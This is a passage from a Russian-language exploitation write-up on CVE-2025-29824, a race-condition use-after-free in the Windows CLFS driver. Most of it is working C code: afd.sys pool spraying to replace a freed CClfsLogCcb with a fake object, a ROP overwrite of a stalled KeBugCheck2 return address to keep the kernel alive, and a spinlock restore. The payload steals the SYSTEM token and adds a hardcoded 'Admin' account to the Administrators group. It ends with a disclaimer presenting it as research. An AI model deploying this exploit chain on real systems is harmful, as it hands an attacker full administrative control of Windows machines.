Из него становится понятно, что существуют адреса нестандартной длины, размер которых больше, чем AfdStandardAddressLength (0x1c).

По всей видимости, граница в 0x1c была выбрана из-за IPv6, так как именно такой размер имеет структура sockaddr_in6, относящаяся к IPv6.

Также видна разница в хранении адресов: для стандартных память выделяется из lookaside list, для нестандартных — через аллокатор в NonPaged-пуле.

Чтобы убедиться, что действительно существует возможность отправить какие угодно данные в качестве адреса сервера и сохранить их в чанке из NonPaged-пула, отправим такой запрос:

#define IOCTL_AFD_CONNECT 0x12007

typedef struct _ConnectData {
	INT64 unknown1;
	HANDLE rootEndpointHandle;
	HANDLE connectEndpointHandle;
	char remoteServer[];
}ConnectData, * PConnectData;

HANDLE createSocket() {
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	return (HANDLE)client;
}

NTSTATUS CreateChunkAfdR(HANDLE SocketHandle, BYTE* payloadAfdR, INT chunkSize)
{
	NTSTATUS status;
	IO_STATUS_BLOCK IoStatus;
	INT newChunkSize = chunkSize - 0x10 + 0x18;
	PConnectData connectData = (PConnectData)malloc(newChunkSize);
	connectData->unknown1 = 0;
	connectData->rootEndpointHandle = 0;
	connectData->connectEndpointHandle = 0;
	memcpy(&connectData->remoteServer, payloadAfdR, chunkSize-0x10);
	status = NtDeviceIoControlFile(SocketHandle, NULL, NULL, NULL, &IoStatus, IOCTL_AFD_CONNECT, connectData, newChunkSize, 0, 0);
	return status;
}

HANDLE socket = createSocket();
BYTE* payloadAAA = (BYTE*)malloc(0x120 - 0x10);
memset(payloadAAA, 'A', 0x120 - 0x10);
CreateChunkAfdR(socket, payloadAAA, 0x120);

Дебаггер позволяет убедиться в работоспособности метода:

Рисунок 16. AfdR-чанк
Рисунок 16. AfdR-чанк

Таким образом, особенность обработки нестандартных адресов в драйвере afd позволяет создавать объекты AfdR размером 0x120 на замену CClfsLogCcb. Далее возникает вопрос про содержимое внутри AfdR. Известно, какими должны быть reference_count и flag, пришло время вернуться к m_Resource и выяснить, как его подделать так, чтобы деструктор CClfsLogCcb::~CClfsLogCcb смог его корректно обработать.

m_Resource

По плану эксплуатации было необходимо, чтобы внутри CClfsLogCcb::~CClfsLogCcb произошел вызов ObfDereferenceObject с нужным аргументом, контроль над которым обеспечивается перехватом освободившего чанка. Однако мало повысить привилегии, нужно еще успеть ими воспользоваться. Этому мешает вызов ExDeleteResourceLite с аргументом CClfsLogCcb.m_Resource в конце работы деструктора. Поскольку обработка некорректного CClfsLogCcb.m_Resource приведет к падению ядра, возникает задача создать валидный CClfsLogCcb.m_Resource.

Для дальнейшей работы требуется знать адреса глобальных переменных KiProcessorBlock, ExpResourceSpinLock и функции KeBugCheck2 в ntoskrnl. Чтобы их выяснить, нужно найти базовый адрес ntoskrnl через NtQuerySystemInformation и посмотреть смещения до указанных символов в IDA Pro для конкретной версии ядра. Также необходимы адреса гаджетов pop rcx; ret и jmp rcx, которые можно найти через инструмент ROPgadget. Далее про m_Resource.

Деструктор CClfsLogCcb::~CClfsLogCcb в конце своей работы попытается утилизировать m_Resource через функцию ExDeleteResourceLite. Посмотрим, что происходит внутри:

typedef struct _ERESOURCE {
	LIST_ENTRY 	SystemResourcesList;  	// 0x00
	OWNER_ENTRY	*OwnerTable;          	// 0x10
	SHORT      	ActiveCount;          	// 0x18
	USHORT     	Flag;                 	// 0x1A
	PKSEMAPHORE	SharedWaiters;        	// 0x20
	PKSEMAPHORE	ExclusiveWaiters;     	// 0x28
	OWNER_ENTRY	OwnerEntry;           	// 0x30
	ULONG      	ActiveEntries;        	// 0x40
	ULONG      	ContentionCount;      	// 0x44
	ULONG      	NumberOfSharedWaiters;	// 0x48
	ULONG      	NumberOfExclusiveWaiters; // 0x4c
	PVOID      	Reserved2;            	// 0x50
	ULONG_PTR  	CreatorBackTraceIndex;	// 0x58
	KSPIN_LOCK 	SpinLock;             	// 0x60
} ERESOURCE, *PERESOURCE;

NTSTATUS __stdcall ExDeleteResourceLite(PERESOURCE Resource){
	...
	ExpWaitForSpinLockExclusiveAndAcquire(&ExpResourceSpinLock, CurrentIrql);
	while(ExpResourceSpinLock == 1){}
	...
	Flink = Resource->SystemResourcesList.Flink;
	Blink = Resource->SystemResourcesList.Blink;
	if ( (PERESOURCE)Resource->SystemResourcesList.Flink->Blink != Resource || (PERESOURCE)Blink->Flink != Resource )
    	__fastfail(3u);
	...
	ExpResourceSpinLock = 0;
	...
}

Ключевые особенности работы ExDeleteResourceLite в контексте эксплуатации заключаются в том, что происходит валидация списка SystemResourcesList и захват важного глобального спинлока ExpResourceSpinLock. Причем блок с проверкой достигается потоком настолько быстро, что невозможно ни успеть воспользоваться примитивом на чтение, чтобы узнать правильный адрес Resource, ни захватить самим ExpResourceSpinLock через примитив на запись, чтобы ввести поток в бесконечный цикл.

Многократные попытки показали, что времени что-то предпринять не хватит и ядро всегда падает:

00 fffff806`2f594b18 fffff806`32366c12 	nt!DbgBreakPointWithStatus
01 fffff806`2f594b20 fffff806`323662d3 	nt!KiBugCheckDebugBreak+0x12
02 fffff806`2f594b80 fffff806`32215017 	nt!KeBugCheck2+0xba3
03 fffff806`2f5952f0 fffff806`3222ae29 	nt!KeBugCheckEx+0x107
04 fffff806`2f595330 fffff806`3222b3f2 	nt!KiBugCheckDispatch+0x69
05 fffff806`2f595470 fffff806`322290db 	nt!KiFastFailDispatch+0xb2
06 fffff806`2f595650 fffff806`320cf1cc 	nt!KiRaiseSecurityCheckFailure+0x35b
07 fffff806`2f5957e0 fffff806`35038be5 	nt!ExDeleteResourceLite+0x30c
08 fffff806`2f595830 fffff806`35037f42 	CLFS!CClfsLogCcb::~CClfsLogCcb+0x31
09 fffff806`2f595870 fffff806`35054aa9 	CLFS!CClfsLogCcb::Release+0x32
0a fffff806`2f5958a0 fffff806`321d17c1 	CLFS!`CClfsRequest::StartArchival'::`1'::fin$0+0x7f
0b fffff806`2f5958f0 fffff806`3222062f 	nt!_C_specific_handler+0x191
0c fffff806`2f595960 fffff806`3202dbf8 	nt!RtlpExecuteHandlerForUnwind+0xf
0d fffff806`2f595990 fffff806`321d171b 	nt!RtlUnwindEx+0x2d8
0e fffff806`2f5960c0 fffff806`322205af 	nt!_C_specific_handler+0xeb
0f fffff806`2f596130 fffff806`3202cc93 	nt!RtlpExecuteHandlerForException+0xf
10 fffff806`2f596160 fffff806`3211817e 	nt!RtlDispatchException+0x2f3
11 fffff806`2f5968d0 fffff806`32216132 	nt!KiDispatchException+0x1ae
12 fffff806`2f596fb0 fffff806`32216100 	nt!KxExceptionDispatchOnExceptionStack+0x12
13 ffff9209`68d64258 fffff806`3222af75 	nt!KiExceptionDispatchOnExceptionStackContinue
14 ffff9209`68d64260 fffff806`32225dd8 	nt!KiExceptionDispatch+0x135
15 ffff9209`68d64440 fffff806`3209f6fd 	nt!KiGeneralProtectionFault+0x358
16 ffff9209`68d645d0 fffff806`3201ba6f 	nt!KxWaitForLockOwnerShip+0x3d
17 ffff9209`68d64630 fffff806`35010931 	nt!ExReleaseResourceLite+0x16f
18 ffff9209`68d64690 fffff806`350549bd 	CLFS!CClfsLogCcb::AddArchiveRef+0x115
19 ffff9209`68d64720 fffff806`3503858f 	CLFS!CClfsRequest::StartArchival+0xf9

И все-таки лазейка нашлась и здесь, помогло само ядро.

Оказалось, что уже после того, как поток доходит примерно до середины KeBugCheck2, ядро ставит эту задачу на паузу и отдает ресурсы текущего CPU в другой процесс. По всей видимости, к середине KeBugCheck2 квота времени, отведенного на задачу, исчерпывается, адрес KeBugCheck2 сохраняется и ресурсы отдаются в другую задачу:

Рисунок 17. Остановка KeBugCheck2
Рисунок 17. Остановка KeBugCheck2

Такое поведение дает достаточно широкое окно, чтобы воспользоваться примитивами и предотвратить падение ядра. Был выбран прямолинейный путь — найти в стеке сохраненный адрес поставленного на паузу KeBugCheck2 и подменить его так, чтобы снятая с паузы задача вошла в бесконечный цикл.

Ниже приведен код, который реализует это:

ULONGLONG g_KiProcessorBlock, g_KeBugCheck2;
ULONGLONG g_pop_rcx, g_jmp_rcx;

BOOL corruptRet() {
	DWORD r, res = 0;
	SIZE_T readBytes;
	ULONGLONG stackAddrMask;
	ULONGLONG KeBugRetData[0x200];
	ULONGLONG ptrCpu_0;
	ULONGLONG stackBaseCpu_0;
  
	HANDLE hThisProcess = GetCurrentProcess();
  
	_NtReadVirtualMemory(hThisProcess, (LPVOID)g_KiProcessorBlock, &ptrCpu_0, sizeof(ULONGLONG), &readBytes);
	ULONGLONG ptrStackBaseCpu_0 = ptrCpu_0 - 0x180 + 0x8;
  
	_NtReadVirtualMemory(hThisProcess, (LPVOID)ptrStackBaseCpu_0, &stackBaseCpu_0, sizeof(ULONGLONG), &readBytes);
	ULONGLONG KeBugRet = stackBaseCpu_0 + 0x1e000;
  
	_NtReadVirtualMemory(hThisProcess, (LPVOID)KeBugRet, KeBugRetData, sizeof(ULONGLONG) * 0x200, &readBytes);
	
    for (int i = 0; i < 0x200; i++) {
    	ULONGLONG retAddr = KeBugRetData[i];
    	if (retAddr > g_KeBugCheck2 && retAddr < g_KeBugCheck2 + 0x1100) {
        	ULONGLONG pRetAddr = KeBugRet + i * 8;
        	ULONGLONG POP_RCX = g_ntStart + g_pop_rcx;
        	ULONGLONG JMP_RCX = g_ntStart + g_jmp_rcx;
        	ULONGLONG NEW_RCX = JMP_RCX;
        	ULONGLONG rop[] = { POP_RCX, NEW_RCX, JMP_RCX};
        	_NtWriteVirtualMemory(hThisProcess, (LPVOID)pRetAddr, &rop, sizeof(ULONGLONG)*3, NULL);
        	return 1;
    	}
	}
	return 0;
}

Необходимая область поиска определяется через глобальную переменную KiProcessorBlock внутри ntoskrnl. Она представляет собой массив структур KPRCB, (Kernel) Processor Control Block. Каждый блок в нем несет информацию о состоянии соответствующего логического ядра процессора. Хотя в KPRCB нет информации про стек потока, но через него можно выйти на объект, который ею обладает. Это KPCR, (Kernel) Processor Control Region, внутри которого по смещению 0x180 содержится KPRCB. А по смещению 0x8 от начала KPCR лежит базовый адрес стека.

Несмотря на то что вызвать UAF в триггере пытаются два потока hSlowThread и hFastThread, анализ показал, что это событие всегда происходит в потоке hFastThread. И известно, что он исполняется на нулевом логическом ядре CPU. Потому что мы сами так и настроили через SetThreadAffinityMask(hFastThread, 1), где нумерация ядер идет от 1. А значит, работать нужно с нулевым элементом KiProcessorBlock и искать базовый стековый адрес stackBaseCpu_0 там.

Мы выясняли, что область поиска лучше всего ограничить значением stackBaseCpu_0 + 0x1e000 и прочитать 0x1000 байт для поиска адреса возврата на KeBugCheck2. Адрес подмены — это адрес ROP-цепочки, которая приводит к бесконечному циклу. Для реализации необходимы смещения до гаджетов pop rcx; ret и jmp rcx от начала ntoskrnl.

Однако осталась еще одна проблема, связанная с работой ExDeleteResourceLite. Эта функция захватывает глобальный спинлок ExpResourceSpinLock, но, введенная в бесконечный цикл, не освобождает его. Поэтому нужно сделать это за нее, потому что от ExpResourceSpinLock зависит работа Windows API, которым нужно будет воспользоваться дальше:

void restoreSpinLock(ULONGLONG pSpinLock) {
	HANDLE hThisProcess = GetCurrentProcess();
	INT newValue = 0x00000000;
	_NtWriteVirtualMemory(hThisProcess, (LPVOID)pSpinLock, &newValue, 4, NULL);
}

Зная теперь, какими должны быть reference_count, flag и m_Resource, можно написать функцию, которая создает фейковый Ccb:

typedef struct _CClfsLogCcb
{
	BYTE gap0[0x8];
	LONGLONG list_entry[2];
	INT reference_count;
	INT flag;
	LONGLONG gap20;
	INT m_cArchiveRef;
	BYTE gap2C[4];
	LONGLONG m_hPhysicalHandle;
	LONGLONG qword38;
	BYTE* field_40;
	LONGLONG m_foFileObj;
	PVOID m_foFileObj2;
	LONGLONG clfs_lsn58;
	LONGLONG clfs_lsn60;
	LONGLONG qword68;
	LONGLONG field_70;
	LONGLONG field_78;
	LONGLONG field_80;
	BYTE gap88[0x10];
	LONGLONG m_Resource;
	BYTE gap[0x60];
	LONGLONG m_pltlLifeTimeListener;
	LONGLONG qword108;
}CClfsLogCcb, * PCClfsLogCcb;

BYTE* CreateFakeCcb(INT chunkSize, PVOID g_fakeFileObj) {
	INT newChunkSize = chunkSize - 0x10;
	PCClfsLogCcb fakeCcb = (PCClfsLogCcb)malloc(newChunkSize);
	memset(fakeCcb, 0, newChunkSize);
  
	fakeCcb->reference_count = 1;
	fakeCcb->flag = 4;
	fakeCcb->m_foFileObj2 = g_fakeFileObj;
  
	char* resourse = (char*)&fakeCcb->m_Resource;
	memset(resourse, 0x00, 0x68);
  
	LONGLONG* p[2];
	LONGLONG a = 0x123, b = 0x456;
	p[0] = &a;
	p[1] = &b;

	*((LONGLONG*)&resourse[0]) = (LONGLONG)p[0];
	*((LONGLONG*)&resourse[8]) = (LONGLONG)p[1];

    LONGLONG invalidSpinLock = 0xcccccccccccccccc;
	*((LONGLONG*)&resourse[0x60]) = invalidSpinLock;
	return (BYTE*)fakeCcb;
}

Двусвязный список SystemResourcesList представляется через массив p[2]. Провал проверки этого списка неизбежен, поэтому неважно, какие значения будут у него внутри. А invalidSpinLock содержит заведомо невалидное значение, чтобы вызвать исключение внутри работы CClfsRequest::StartArchival, благодаря к��торому будет вызван деструктор CClfsLogCcb::~CClfsLogCcb. Внутри которого ObfDereferenceObject с подконтрольным аргументом m_foFileObj2 изменит PreviousMode.

В этом разделе мы разобрали, как подготовить кучу, как перехватить освобожденный чанк CClfsLogCcb и подменить его на FakeCcb, используя сокеты и драйвер afd.sys.

Окончательная реализация кода перехвата выглядит так:

void CreateChunksAfd() {
	DWORD res;
	NTSTATUS status;
	HANDLE socket = createSocket();
  
	if (!socket) {
    	printf("[-] Failed to create clientTCP\n");
    	exit(0);
	}
  
	BYTE* fakeCcb = CreateFakeCcb(0x120, (PVOID)g_fakeFileObj);
	HANDLE hThisProcess = GetCurrentProcess();
	LONG spinLock;
  
	for (int i = 1; i < CHUNKS_COUNT*20; i += 2) {
    	CreateChunkAfdR(socket, fakeCcb, 0x120);
    	res = _NtReadVirtualMemory(
        	hThisProcess,
        	(LPVOID)g_ExpResourceSpinLock,
        	(LPVOID)&spinLock,
        	0x4,
        	NULL
    	);
    	if (!res) {
        	pwn();
    	}
	}
  
	free(fakeCcb);
	closesocket((SOCKET)socket);
	WSACleanup();
}

Функция работает в отдельном потоке hPwnThread, постоянно пытаясь подменить CClfsLogCcb. Факт успешной подмены определяется получением примитива NtReadVirtualMemory, после чего активируется логика повышения привилегий pwn. В качестве целевого адреса для чтения выбран ExpResourceSpinLock, его удобно использовать.

pwn

Имея на руках примитивы на чтение-запись, легко узнать и подменить токен процесса эксплойта на системный токен, получив права NT AUTHORITY\SYSTEM:

void restorePrevMode(ULONGLONG pPrevMode) {
	HANDLE hThisProcess = GetCurrentProcess();
	BYTE newValue = 1;
	_NtWriteVirtualMemory(hThisProcess, (LPVOID)pPrevMode, &newValue, 1, NULL);
}

void pwn() {
	BOOL r = 0;
  
	while ((r = corruptRet()) != 1) {
	}
  
	restoreSpinLock(g_ExpResourceSpinLock);
  
	ULONGLONG ownPROCESS = findOwnEPROCESS(g_pOwnProcess);
  
	ULONGLONG systemEPROCESS = findSystemEPROCESS(ownPROCESS);
  
	ULONGLONG systemToken = stealToken(ownPROCESS, systemEPROCESS);
  
	restorePrevMode(g_previousMode);
  
	userAdd();
}

В результате всех манипуляций с памятью будут повышены привилегии, однако графическая оболочка будет в зависшем состоянии. Из-за этого не удастся ни вызвать консоль с правами  NT AUTHORITY\SYSTEM, ни создать реверс-шелл.

Поэтому мы выбрали создать учетную запись и добавить ее в группу «Администраторы» в качестве нагрузки:


int userAdd() {
	USER_INFO_1 userInfo;
	LOCALGROUP_MEMBERS_INFO_3 groupMemberInfo;
	NET_API_STATUS status;
	DWORD paramError = 0;
	ZeroMemory(&userInfo, sizeof(USER_INFO_1));
  
	userInfo.usri1_name = L"Admin";
	userInfo.usri1_password = L"StrongPass123!";
	userInfo.usri1_priv = USER_PRIV_USER;
	userInfo.usri1_home_dir = NULL;
	userInfo.usri1_comment = L"User with admin privileges via group membership";
	userInfo.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
  
	status = NetUserAdd(NULL, 1, (LPBYTE)&userInfo, &paramError);
  
	if (status == NERR_Success || status == NERR_UserExists) {
    	groupMemberInfo.lgrmi3_domainandname = userInfo.usri1_name;
    	status = NetLocalGroupAddMembers(NULL, L"Администраторы", 3, (LPBYTE)&groupMemberInfo, 1);
	}
  
	return 0;
}

Успешность работы эксплойта можно понять по зависшей системе, которая не уходит в перезагрузку. Если такое наблюдается, нужно просто подождать минуты две и перезагрузить самостоятельно. В окне приветствия должен появиться новый пользователь Admin.

Итог

В данной статье были рассмотрены практические стороны эксплуатации уязвимости CVE-2025-29824, которые включают в себя:

— вызов состояния гонки;

— работу с чанками памяти внутри lookaside list;

— перехват объекта в NonPaged-пуле с помощью afd;

— технику PreviousMode;

— утилизацию проблемных потоков.

Было сложно, но удалось преодолеть все препятствия и добавить своего админа в систему.

И в самом конце я хочу еще раз напомнить, что:

Данная статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.